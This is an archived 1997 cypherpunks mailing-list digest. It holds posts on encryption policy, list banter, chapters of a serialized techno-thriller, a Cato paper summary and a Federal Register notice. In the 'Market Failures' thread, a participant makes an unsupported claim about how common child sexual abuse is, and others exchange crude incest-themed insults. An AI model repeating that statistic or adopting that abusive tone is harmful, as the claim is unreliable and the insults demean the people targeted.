Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 25 Mar 1997 03:01:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tim C. May's Interpretation of the U.K. Proposal
Message-ID: <199703251101.DAA29927@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> The U.K. may sense that, absent such "local content" laws, the market for
> key signings, time-stamping, and other services will naturally concentrate
> in certain markets. 
> Longer term, the concentration may be more
> globalized, or even in "cyberspace," but almost certainly not in Britain.
 
> Nations may thus fear this flight of such services to other countries.

  Tim, at his best, interprets the U.K. laws from both a global and
local perspective.
  Certainly, any actions of the U.K., in particular, should be viewed
from the lingering shadow of the British Commonwealth. The U.K., having
ruled an Empire, is much more cognizant of the implications of how the
structure of proposed legislation will affect the expansion of global
aims, or the protection of indigeonous rule.

  Although "local content," as Tim points out, is undeniably one
of the major factors behind the legislation, the U.K. is also 
undoubtedly positioning themselves to resist letting the *power*
that comes from information *control* fall into the hands of
others.
  We have passed from the age when currency, alone, ruled.
  We are now truly in the Information Age, and those who wish to
rule, to control others, must rule and control information. This
is why the great battles of the day now surround standards and
encryption, and encryption standards, above all.

  The US Bumverments reversal on encryption policy is not a
result of enlightenment, but a result of other nations taking
a leading role in encryption development. They have not really
abandoned their plans to control all information, but have
merely recognized that they must move their efforts into the
global community before other powers have locked up the market.

  The only solution to the threat of global information control
by one, or a few, players, is to promote the widest possible
variety of encryption development.

> So, besides the obvious OECD/New World Order interpretations, the U.K.
> action may be a sign of something we may see more often: various countries
> attempting to restrict extra-territorial uses of encryption services for
> economic as well as for perceived national security reasons.

  Not just national security, but national *control*.
  Perhaps the U.K. is the first country to truly recognize and
act on the threat of national borders falling victim to the
global potential of new Internet technology.
  After all, they were one of the first nations to feel the
sting of the printing press, and to experience the birth pains
of the global changes that it would give birth to.

  Truly their is another great global war shaping up, but this 
time the battle will be fought with bits and bytes, and the
battleground will be electronic.
  The winner will rule the medium.

  The medium IS the message. Those who rule the medium will rule
the message. And in the Information Age, the message will rule
the world.
  "In the beginning, was the Message. And the Message was with
God, and the Message WAS God."

  McLuhan was a voice crying in the wilderness, an electronic
John the Baptist.
  He, too, spoke of one who would come who was greater than he.
And he warned of the evil one who would fight to rule the minds
of all mankind. 
  He warned of wolves, in sheep's clothing, who would claim that
their aim was to protect us from pornographers and drug dealers.
  Well, not in the King James version, perhaps, but I am certain
that it was worded that way in "Tim's Vernacular Translation of
the Bible."

TruthMonger

   N o t  D r. R o b e r t s
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 03:01:01 -0800 (PST)
To: raymond@wcs.net
Subject: Re: Disturbed Individual
In-Reply-To: <199703250618.WAA27055@mat.wcs.net>
Message-ID: <33379772.4ED6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Raymond Mereniuk wrote:
> 
> The following message is the product of a disturbed individual.  From
> a Freudian perspective the sendee is projecting his own perversions
> onto the character of the subject of his ridicule.  This analysis is
> a touch simplistic but then who are we dealing with???
>          ___
>        ./_ -\.
>       q| o O |p
>   -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise
> Raymond@wcs.net

Ray,
  I suspect it is the disturbed group-mind of the CypherPunks etherical
subconscious.
  My theory is that we take turns sending them in our sleep.
  Of course, I tend toward the Jungian perspective. Perhaps the truth
actually lies closer to the Nietzian Netherworld.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 03:00:17 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Announce: list-abuse mailing list
In-Reply-To: <v030209a5af5cf8b9f408@[139.167.130.246]>
Message-ID: <33379F2B.7CB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
 
> Based on the strongly positive feedback I received about the idea,
> I've gone ahead and created a "list-abuse" mailing list.  I
> apologize to members of "list-managers" who have already received
> this announcement.

  Those who do not accept his apology should complain to the 
list-abuse mailing list, suggesting that RH be unsubscribed
from the list.
  Not that I'm a troublemaker...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 03:01:57 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Jackboots in Canada
In-Reply-To: <199703250449.WAA00786@smoke.suba.com>
Message-ID: <3337A281.1BA2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
>         It isn't their rights being thrown away, it is the rights of the
> evil bikers.

  You hit the nail on the head.
  The Bummerment always gains their ground by taking away 'other' 
people's rights, one by one, until they've taken them all away.
  As long as people only complain when their own rights are being
taken away, then the Bummerment will rule by a 'divide and conquer'
approach.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 25 Mar 1997 02:50:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703250442.WAA00708@smoke.suba.com>
Message-ID: <V0a54D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> The Loon wrote:
> > Toto <toto@sk.sympatico.ca> writes:
> > > Dale Thorn wrote:
> > > > > Really? Define _common_. I have lived in the Mid West for about 85% o
> > > > > my life, and I know no one who learned these things from their parent
> > > > C'mon guys.  Parents diddling with their kids is more than common -
> > > > probably 1/3 of all fathers do something sexual with one or more
> > > > of their children at some point.  People just suppress it.
> > >   I can't believe it could be that common without the government
> > > finding a way to 'tax' it.
> > Def: relative humidity - the sweat on snow's balls as he fucks his sister.
>
> 	Well, at least she was better than your wife.

Was your sister also better than your mother?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 25 Mar 1997 04:14:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 15
Message-ID: <3337C1E0.7973@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Initiation


Jonathan was a wreck. A totally nervous wreck. 

The bottle of bourbon was almost empty, but that was O.K., he
had more-plenty more. He knew that the woman who came to 'initiate'
him into the circle was right about Bubba Rom Dos. Just an old,
drunken has-been who liked to shoot his mouth off and act important,
rambling on about things he knew nothing about.

But Jonathan knew about these weird, evil things. He knew much
more than he wanted to know about them. Things that he couldn't
forget, no matter how hard he tried.

After he had been to see Bubba, receiving only a denial of the
Magic Circle's existence (from a young girl whose existence was
so real that he still thought about her), Jonathan had immersed
himself in scanning old CyberPosts...email, he corrected himself...that
dated from the early CypherPunks era.
It was a twisted, rambling trail that was woven around and through
the history of the CypherPunks. CryptoRebels, CyberHackers, Spooks,
Phreaks, and Phantoms...
Everybody had an angle, or a game, and even the players often
seemed unsure of who they were playing with, or against.

Was it Gilmore, or Hughes-Jonathan couldn't remember, it had been
so many years ago-who had stood on the desk in his grandfather's
study, and uttered the words which might well have been the official
battle-cry of the CypherPunks?
"Close ranks-every man for himself."

Jonathan had pored over the archive surrounding the date of the
legendary moderation experiment on the list. It was an archive
that Jonathan's grandfather, among others, had used for PseudoID
Traffic Analysis, along with UNIX route tracing records and information
secretly gleaned from the military's Onion Routers, in order to
attempt to "separate the  double agents from the triple agents,"
as one of the Russian list members, Igor, used to say.
Jonathan still remembered the one time that he had received a
scathing rebuke from all present in his grandfather's study, as
a result of suggesting that they could learn much of what they
needed to know by studying the remailer records.
Big mistake.

Jonathan immediately found himself surrounded by a plethora of
enraged CypherPunks who obviously didn't give a fat rat's ass
whether he was a mere child, or not-nobody questioned their integrity
regarding their foremost contribution to anarchy...end of story.

One of the CypherPunks picked him up by his collar, lifting him
up to eye level, and said, in deadly serious, deep-throated tones,

"You don't tug on Superman's cape. You don't spit in the
wind. You don't peek in the files on your own remailer, and you
don't mess around with Jim."

To Jonathan's great relief, the whole ragged band broke out in
laughter. Jonathan learned later that the gentleman who had 'corrected'
him, Jim, was the author of an Assassination Bot-one which had
begun as a theoretical exercise, and later became a major tool
in the implementation of the CypherPunks launching of Channel
War II.

Jonathan shook his head slowly, trying to convince himself that
this was all a dream, and that he wasn't really irrevocably connected
to this band of fringe-dwellers, rogues and eccentrics.
It didn't work.

He remembered the night that Priscilla had knocked on his door,
and in his rush to shut off his blue-light unit he answered the
door with his upper body uncovered. He was terrified when he realized
that this woman, whom he had never seen before, was standing there,
dumbfounded, staring at his tattoo.
Jonathan had almost fainted with relief when she stepped inside
the door, quickly shutting it, reached into her cloak, and pulled
out a bottle of Jack Daniel's, with a label he instantly recognized,
saying in a quiet, calm voice, "We need to talk."

Tuesday was the worst. That was what set off his three-day binge.
He had been working on his skills, like the lady had told him
to do. And he was keeping his eyes open, like she said. Somehow,
seeking to observe the weird things, instead of dreading and trying
to avoid them, had helped. Now, instead of trying to repress the
memory of these events, he would analyze them, note them, try
to arrange them in a logical fashion, so that if he ever had to
deal with them, to work with or against them, he would be prepared.

"Be prepared.", that's what the woman had told him during
his initiation.

"You will probably will not be contacted for quite some time-perhaps
never.", the woman had said, but that was all right. Just
knowing that there was a Magic Circle, that there were
others out there, waiting, preparing, possibly already acting
against the strange forces he had encountered-that was enough,
just knowing that he wasn't alone.

And then Tuesday...

It had been a strange couple of weeks.

The weirdness going on in his system was just the 'usual' weirdness.
Programs that he hadn't written cropping up and running themselves.
They followed the normal pattern, in most cases-extracting newly
input information from the databases he was working with, sorting
and codifying it, uploading it to /dev/null. Theoretically, that
meant it was being sent 'nowhere', but he had long since figured
out that 'nowhere' was 'somewhere' that he was not supposed to
discover.

So he left it alone...until Tuesday.

The Cowboy, one of the top computer honchos on the InterNet, probably
the top honcho, according to many, had dropped out of sight,
suddenly and unexpectedly, a couple of weeks before.

Strangely, he had been called into the Cowboy's 'domain'-"Cowboys
don't have offices, they ride the range.", he had told Jonathan-the
next working day after his initiation into the 'Circle'. He thought
that this might be the 'contact' he was expecting, but it turned
out to be a routine, minor matter.

There was a bizarre incident, however, which left Jonathan wondering
if the Cowboy was really all that his reputation held him out
to be.

The Cowboy had been drinking quite liberally from a bottle of
Jack Daniel's he had stashed behind the monitor, while Jonathan
worked on some minor programs that the Cowboy had told him to
troubleshoot for him. Once Jonathan had completed his tasks, the
Cowboy came over to check his work, and proceeded to log onto
the terminal that Jonathan had been working on.

The Cowboy, his coordination seemingly affected by his prolonged
drinking, accidentally hit the return key at the 'login:' prompt,
and then typed 'Cowboy' into the 'password:' prompt by mistake,
which 'hid' what he had typed, as it is supposed to do, in order
to keep others from discovering another user's password. The Cowboy
now typed his password in at the subsequent 'login:' prompt, where
it was plainly visible for Jonathan to see. The Cowboy, in his
inebriated state, repeated this mistake several times, cursing
the system for not allowing him to log on, before realizing what
he had done.

The Cowboy, looking up sheepishly at Jonathan, corrected his error,
logged onto the system, checked Jonathan's work, then dismissed
him.

This type of thing happened every now and then, with one user
accidentally discovering another user's password, but Jonathan
had never heard of such a thing at the ultimate level of security
which the Cowboy was privileged to hold. And even a low-level
user, having made this mistake, would immediately 'change' his
or her password, in order to maintain the security of their user
identity and their work. The Cowboy had not done this, which bothered
Jonathan.

Then, when the Cowboy disappeared, Jonathan was called in to take
over some of his duties, which were spread amongst a variety of
individuals.

Jonathan was amazed at this, since the others sharing the Cowboys
former duties were all top-notch, experienced 'Net'ers, which
he was not, with high-level clearance in their regular posts.
Jonathan then discovered, when changing his user attributes to
match the Cowboy's, so that he could work with a variety of 'C-shell'
programs, that his own security-level had been changed to match
that of the Cowboy. What was unusual was that this had been done
weeks ago-at the same time that Jonathan had been at home being
initiated into the 'Circle of Eunuchs'.

Jonathan shivered as he thought about this, with a strange chill
running up and down his spine. The same strange chill had occurred
twice that day. The first time was when he realized that the strange
men surrounding him in the office he was temporarily working in-men
sent down directly from the Chief Director's Security Office-were
all working frantically to try to 'break into' the Cowboy's user
account-which Jonathan knew the password for. The second time
was shortly thereafter, when thinking about the 'password' incident,
and realizing that the Cowboy's password-gnimocsizemog-when spelled
backwards, read 'gomeziscoming'.

Then, Tuesday...

Jonathan was working at his home terminal, cleaning up a few leftovers
from the day's office work, and he had noticed the intruding,
unauthorized 'background' programs running, again.

When he checked into their activity, he noticed that they were
doing searches on all of his databases, searching for the word
'Uncle'. Each time the word was found, the database record was
uploaded to /dev/null, as usual. Jonathan decided it was time
to find out just where the purloined information had been going,
for all this time.

He pulled a sub-routine out of one of his programs, one designed
to report back on 'path' errors when debugging programs. It was
a sub-routine of his own design, and one that he was quite proud
of. When one of his programs was sending its output files to some
unknown place, with an unknown name, his sub-routine (which he
called 'find_me.c'), would intervene to 'tag along' with the file,
and, at its destination, change do a 'pwd' command (report the
'present working directory'), and use that and the name of the
unknown file as arguments for the 'find_me.c' file, which would
then report back to Jonathan's terminal with the path name and
file name of the lost file.

When Jonathan 'piped' his sub-routine into the intruder program,
however, he got some very unexpected results.

First, he was booted out of his login account, and his terminal
screen went blank. Secondly, the power to his system went off,
and he could not turn it back on. Thirdly...

Jonathan reached for another bottle of bourbon. This one was Wild
Turkey. He poured himself a stiff shot, threw it back, and thought
about the third effect of his program.

Thirdly, there was the sound of jack-boots on the stairs, several
minutes later, then the sound of his next-door neighbor's door
being kicked in, shots ringing out, and the sound of jack-boots
leaving shortly thereafter. Jonathan had looked out the window
to see dark figures loading his neighbor's lifeless body into
a dark vehicle and then drive off into the night.

The following morning, Jonathan had seen the news of his own death
come over the VirtualNews link, stating that a lone burglar, who
escaped capture, was responsible. 

Jonathan had switched apartments with his neighbor the day before,
switching their terminals inside the junction box himself, rather
than wait for the apartment manager's return from his vacation.
He had chastised himself for forgetting to change the names on
their mail slots, as he had promised the neighbor he would take
care of it, but that omission, apparently, had saved his life.


Jonathan reached for the bottle, once again, and thought about
Bubba Rom Dos.

The broken-down old buzzard may be, as the woman had told him,
a useless failure, having given up on life. But the geezer sure
knew how to do it with style, and since it would undoubtedly be
discovered, upon his landlord's return, that Jonathan was still
alive, he could think of no one better to emulate, than Bubba
Rom Dos, in his final days.

Jonathan raised his glass, in toast, to his new-found 'liquid
guru', and he thought about the young girl he had encountered
on his visit to see Bubba. What was her name? Alexis? 

Yes, Alexis.


Chapter 15 - Initiation









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 25 Mar 1997 04:15:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 16
Message-ID: <3337C201.68C3@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Shadow


The Cowboy sat calmly in the corner of the room,
smoking a hand-rolled cigarette and blowing smoke-rings towards
the ceiling, seemingly oblivious to his surroundings and the gravity
of the situation he was in.

"We just want to ask you a few questions."

An epitaph for a tombstone, if the Cowboy had ever
heard one.


A man with eyes of cold, blue steel sat behind an
antique desk to his right, and to his left was a group of elderly
gentlemen trying their best to remain unnoticed. The Cowboy assumed,
from their somber, scholarly air, that these were the Masters
of Antiquity, renowned for their thorough knowledge of the detailed
history of mankind's existence from the very dawn of civilization
up to the present. A knowledge that included even those details
that were officially denied.
The man behind the desk sat completely still, watching the Cowboy
with a seeming indifference that only served to underscore his
penetrating air of focused attention. After thirty minutes or
so, the man seemed to conclude that anything less than a direct
approach would be a useless waste of time, so he asked the Cowboy,
casually, as a friend talking to a friend, the one thing that
only this man could tell him.

"Tell me Cowboy. Why the 'Parker Paradox'? Why
that name, and not another?"

The Cowboy met the man's gaze and smiled, thought
to himself for a moment, and grinned. He got out of his chair
and walked to the desk, chuckling to himself, pulled a pint of
Jim Beam out of his back pocket, made a ceremonial gesture of
offering a drink to the man with eyes of cold blue steel, and
then sat down on the edge of the desk.

"It's a pretty obscure reference. You must be
the one they call the 'Shadow'"

The Shadow had read the man correctly. This was going
to be a fairly straightforward conversation. He reached for the
bottle the Cowboy had set on the table and pulled a shot glass
out of the center drawer of the antique oak desk before him.

"No. They don't call me that. Only one
man ever did, and that was a long, long time ago."
The Shadow's face betrayed no hint of pleasure or displeasure.
He leaned back in the chair, sipping his drink. It was the Cowboy's
turn to talk.

The Cowboy sat silent for a long time. He wasn't
avoiding the subject, or devising some elaborate story to throw
the 'enemy' off-track. He was 'lost in thought', his mind traveling
to a time and place that was long ago and far away.

"It took D'Shauneaux a long time before he finally
figured out why you let him live, you know. The whole 'Operation
Eunuchs' affair was so filled with false trails and subterfuge
that even D'Shauneaux forgot to look to simplicity for the answer
to all his questions.
"He finally got around to asking himself not, 'why am I alive?',
but rather, 'why am I not dead, like the others?'. That was when
he finally figured it out."

The Shadow leaned forward in his chair, elbows on
his knees, his chin resting on his hands and, for the first time
in a long and lonely career, he let down his hair and allowed
himself to ride the Nostalgia Express to a time and place that
was long ago and far away. He gazed up at the Cowboy, making no
attempt whatsoever to hide his interest in where this conversation
would ultimately lead.
The Shadow picked up the ball and immediately handed it back to
the Cowboy.
"Intriguing, but I'm from Missouri, show me," 


The Masters of Antiquity, the boss-hogs of scholarly
knowledge about anything and everything that had to do with the
annals of history, looked at each other in semi-amazement that
the Shadow could be referring to a colloquialism from a small
geographical area from the BC (Before Channel) era.
They had been called in to observe this 'interrogation' in the
hope that the man to be questioned would let slip some tiny detail
that would confirm his connection to a chain of mythological historical
events that had remained an unconfirmed mystery for as long as
could be remembered.

The Masters of Antiquity had been told to expect
having to stay over for the night, working until the operation
was complete, but they didn't have the slightest inkling that
they would not be returning home the following night...nor
the next night...nor the next.

If they were semi-amazed at the Shadow's reference
to an obscure proverb from the BC era, they were totally amazed
by the Cowboy's reply. He tossed out a phrase that they had never
heard before, but one which they recognized as an undeniable colloquialism
from the same time-period.
They began to write frantically, realizing that they were about
to hear details from an era that was still a mystery to even the
most astute scholars of Antiquity. 
"Well", the Cowboy said, "I'm too drunk to sing
and it's too wet to plow, so I guess we're going to be here awhile."


The Cowboy gestured toward the near-empty pint of
Jim Beam, and eased himself into a plump leather chair while the
Shadow reached to the back of the liquor cabinet and pulled out
a bottle of Jack Daniel's with a personalized custom label on
it that the Cowboy had first seen many, many years ago.

'Private Stock of Bubba Rom Dos'

The Cowboy froze. He sat, stunned, staring at the
bottle, at the label. Then he started to feel nauseous and had
to fight to keep back the bile that started to rise to his throat.

Few have seen the Shadow smile, but he now smiled
without restraint.

"No," the Shadow said, "there was
no point in killing him. He's of much more use to us alive than
dead. With a babbling, wild-eyed 'poster-boy for alcoholically
induced dementia' running around railing against us, it makes
your whole movement, and ours as well, look like a fabrication
of the lunatic fringe. By the time I left his house I almost doubted
our existence myself.
"I even suggested to the Council of Darkness that we put
Mr. Dos on our payroll. They were not amused."

The Shadow, however did seem amused, as he
continued,
"He made a great ceremony of presenting me with a gift from
his renowned private stock, smiling to himself at his own private
joke. He thought me a fool, walking ignorantly away from the greatest
threat against us-himself.
"I accepted his gift graciously and apologized to him for
any inconvenience I caused him. I told him that, although my suspicion
of him had been allayed, it was still my duty to keep an eye on
him from time to time. I almost smiled at my own private joke.
His madness is infectious"

"I never met the man, myself," the Cowboy
replied, "but it sounds like he's living up to the legend."


He reached for the bottle and once again picked up
his account of Vice-Admiral Bubba D'Shauneaux's sudden and stunning
realization of what Operation Eunuchs had really been about.
"The way I heard it, the Vice-Admiral nearly hit the floor
when he realized that the others were dead because they didn't
know, and that he was alive because he knew.

"When you told him he was right about
the Magic Circle, that it was just a myth, he was very relieved.
He thought that you let him live because he didn't believe
the Circle was real. When the rest of the people connected to
the affair all died, he realized that his assumption was wrong."

The Shadow smiled and waited for the Cowboy to continue.

"It blew his mind that he was involved in an
investigation that was at such a high level of importance that
those who didn't know had to die so that there was no chance they
would ever speak of it to anybody else. And those who 'knew' were
not a threat because there was no way to speak of it, no way to
explain it to those who didn't know.
"He realized that those who knew the reality of the
'myth' were not a danger-not in the slightest-because the affair
was so enormous that there was nothing they could say to anyone
without being thought crazy, babbling fools...nothing that
they could do about it. He knew he would be watched day and night-that
any attempt to make contact with the Circle would place them in
great peril.
"He took over the operation of Pearl Harbor Computers with
that in mind. He knew that after that nasty affair in Moose Jaw
no one in the Magic Circle would ever attempt to contact anyone
having even the remotest connection to C.J. Parker or Pearl Harbor
Computers. 

"It was the clearest message he could send to
the Circle to let them know that he knew of their existence, but
that he was a great danger to them."


The Cowboy paused to pour himself a shot and roll
a cigarette.

"It's like when a lake turns over in the spring
and the warm and cold water change places overnight. The top goes
to the bottom, and the bottom goes to the top.
"Vice-Admiral D'Shauneaux understood that he was involved
in something that was not just at a high level, but at a level
that goes beyond comprehension...beyond normality. A juncture
where everything flips over and becomes its opposite."

The Cowboy looked straight at the Shadow, but past
him, as if lost in a private memory, a thousand years and a thousand
miles away.

"Uncle Bubba was never quite the same after
that"


The Shadow was stunned. The Cowboy was a nephew of
D'Shauneaux? Impossible! It was nowhere in the records. Of course,
the Cowboy had access to the InterNet, but the records were so
highly secured that there was no possibility of tampering with
them. Or was there? The Shadow raised his guard once again. Things
were moving in a very dangerous direction.

The Cowboy seemed oblivious to the sudden change
in the Shadow. He took a sip of bourbon and continued on as if
everything was just the way it was before his reference to 'Uncle
Bubba'.

"A paradox, that's what he called it.
A trail of mystery and intrigue that led to an old and trusted
friend who somehow turned out to hold the key that could unlock
the door to a puzzle that was capable of changing the fate of
mankind in an instant...in the proverbial 'twinkling of an
eye'. A man whose death didn't remove the threat to Gomez and
the Dark Allies' arcane plans for mankind's doom. A man whose
demise only made the threat more momentous and tangible.
"He called the situation 'Parker's Paradox' in the memory
of a dear, departed friend. When I ran into the Internet problem,
I thought it would be an appropriate gesture to name it the Parker
Paradox in Uncle Bubba's honor.
"Besides, calling it the 'Inaugural Enigma' would have caused
me problems...serious problems."

The Cowboy and the Shadow were staring into each
other's eyes, a direct connection with no walls between them.
They were alone in their own private universe. A galaxy where
there was no past, no future, only the present...and no need
for games. A universe of two-but where only one would survive.



The Cowboy took a long pull off the bottle of Jack
Daniel's and turned his gaze to the Shadow once again.
"D'Shauneaux never did figure out who you really are, you
know. He never knew that he had come face to face with Gomez...and
walked away alive."

The Shadow's stare hardened, turning barren and harsh,
boiling with a violent fury. The Cowboy now knew he was right.
He was staring into the gateway of the Desolate Place...he
was gazing into the eyes of Gomez himself.

Knowing that he had the Shadow off-balance, he continued,

"You made a mistake letting D'Shauneaux live, you know. He
stood by and watched while you let C.J. Parker slip right through
your fingers."

Gomez felt the room spinning.

"You never should have sent that Mountie
away for 'debriefing'. That was all a part of the plan. 

"That's why your men never came back......I
killed them."

Gomez shot out of his chair, his countenance vile,
his eyes blazing with a raging fury of astonishment, terror and
disbelief.

"P3! Procedure 3!" he shouted. 

The Dark Allies charged into the room, mowing down
the Masters of Antiquity in one swift, efficient maneuver. Then
they turned and leveled their weapons on the Cowboy, waiting for
the man with the eyes of cold blue steel to give a signal-one
way or the other.
For the first time in a millennium, Gomez didn't know what to
do. Every fiber of his mind, body and emotions screamed at him
to remove the threat. The Cowboy...C.J. Parker...whoever
the hell he was...he must die.

Only eons of experience held him back, allowing him
to hang on to his awareness of the small, clear voice that warned
him to wait, warned him not to act hastily. Gomez paused, knowing
that it was essential for him to act rationally and remain in
control.

"Take him to Number Nine, Level Eleven,"
he roared at his men.
"His name is Arnold. Watch him as if your lives depended
on it," he warned them, his face growing sullen, his voice
deep and somber, "...because they do." 

Gomez turned his back to them, dismissing them with
a wave of his hand. He needed time to think. Suddenly, everything
had changed.


The Cowboy groaned in pain as Gomez's henchmen slammed
him into the back wall of the elevator. They had no idea who he
was, but the Shadow's instructions had left no doubt that he was
not to be killed, but to be watched scrupulously. The Dark Allies
saw no reason, however, why they couldn't hurt him very, very
badly.

The Cowboy tried to ignore the searing bolt of pain
that came each time they kicked him during the elevator ride to
the basement parking garage. He had bought himself some time.

It was a perilous game he was playing but he was still alive,
so it was a game that was working. The next move was up to Gomez
and the Cowboy knew he would move slowly and cautiously. 

Arnold. He'd had worse
names.


Chapter 16 - Shadow








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 25 Mar 1997 04:22:47 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <3337C3D9.17A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

> With hash marks (##) "hash" capability remailers can already be made
> to do this, where it will work, but this could be made the default, to
> set the From to remailer@dev.null or whatever.  No answer is required,
> or possible via the from address (for mix and typeI), so why bother
> with a valid From field?

Adam,
  All remailer owners have full permission to use my dev.null
server as their From address.
  I have a highly efficient staff at my command and I can 
assure everyone that their replies will be discarded in the
order that they are received.

Bubba
"He who shits on the road, will meet flies upon his return."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 25 Mar 1997 07:31:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cato Institute paper on "Lessons from FCC Regulation"
Message-ID: <Pine.GSO.3.95.970325073120.20989E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 25 Mar 1997 07:30:50 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Cato Institute paper on "Lessons from FCC Regulation"

[I read through most of this paper last night. It doesn't say anything new
about the CDA per se, but it is worth reading for what it says about way
the Fairness Doctrine was used to intimidate political opponents, and how
government controls over the content of speech are intolerable. --Declan]

*************

   Linkname: 270. Chilling the Internet? Lessons from FCC
   Filename: http://www.cato.org/pubs/pas/pa-270es.html                 

                           CHILLING THE INTERNET?
             Lessons from FCC Regulation of Radio Broadcasting 

                   by Thomas W. Hazlett and David W. Sosa

                              Executive Summary

     Congress included the Communications Decency Act in the
     Telecommunications Act, which was signed into law on February 8,
     1996. The CDA sought to outlaw the use of computers and phone lines
     to transmit "indecent" material and provided jail terms and heavy
     fines for violators. Proponents of the act argue that it is
     necessary to protect minors from undesirable speech on the
     burgeoning Internet. The CDA was immediately challenged in court by
     the American Civil Liberties Union, and the special three-judge
     federal panel established to hear the case recently declared the
     act unconstitutional. Yet its ultimate adjudication remains in
     doubt.

     Ominously, the federal government has long experimented with
     regulations designed to improve the content of "electronic" speech.
     For example, the Fairness Doctrine, imposed on radio and television
     stations until 1987, was an attempt to establish a standard of
     "fair" coverage of important public issues. The deregulation of
     content controls on AM and FM radio programming, first under the
     Carter Federal Communications Commission in early 1981 and then
     under the Reagan FCC (which abolished the Fairness Doctrine in
     1987), led to profound changes in radio markets. Specifically, the
     volume of informational programming increased dramatically
     immediately after controls were ended--powerful evidence of the
     potential for regulation to have a "chilling effect" on free
     speech.

                                       *******

        Thomas W. Hazlett is a professor of agricultural and resource
     economics and director of the Program on Telecommunications Policy,
        University of California, Davis. David W. Sosa is a doctoral
      student in the Department of Agricultural and Resource Economics,
      University of California, Davis. This article originally appeared
      in the Michigan Telecommunications and Technology Law Review, an
              online journal, and is reprinted with permission.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 25 Mar 1997 05:22:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA InfoSys Meeting
Message-ID: <1.5.4.32.19970325131454.00747ba8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register: March 25, 1997:

Bureau of Export Administration

Information Systems Technical Advisory Committee; Notice of
Partially Closed Meeting

    A meeting of the Information Systems Technical Advisory Committee
will be held April 15 & 16, Room 1617M-2, in the Herbert C. Hoover
Building, 14th Street between Constitution and Pennsylvania Avenues,
N.W., Washington, D.C. This Committee advises the Office of the
Assistant Secretary for Export Administration with respect to technical
questions that affect the level of export controls applicable to
information systems equipment and technology.

April 15

Closed Session 9:00 a.m.-5:00 p.m.

    1. Discussion of matters properly classified under Executive Order
12958, dealing with U.S. export control programs and strategic criteria
related thereto.

April 16

General Session 9:00 a.m.-12:00p.m.

    2. Opening remarks by the Chairman.
    3. Update on implementation of the Wassenaar Arrangement.
    4. Presentation on Hewlett-Packard Company key-recovery products
for the International Cryptographic Framework.
    5. Comments or presentations by the public.

Closed Session 1:00 p.m.-4:00 p.m.

    6. Discussion of matters properly classified under Executive Order
12958, dealing with U.S. export control programs and strategic criteria
related thereto.
    The General Session of the meeting is open to the public and a
limited number of seats will be available. To the extent time permits, 
members of the public may present oral statements to the Committee. 
Written statements may be submitted at any time before or after the 
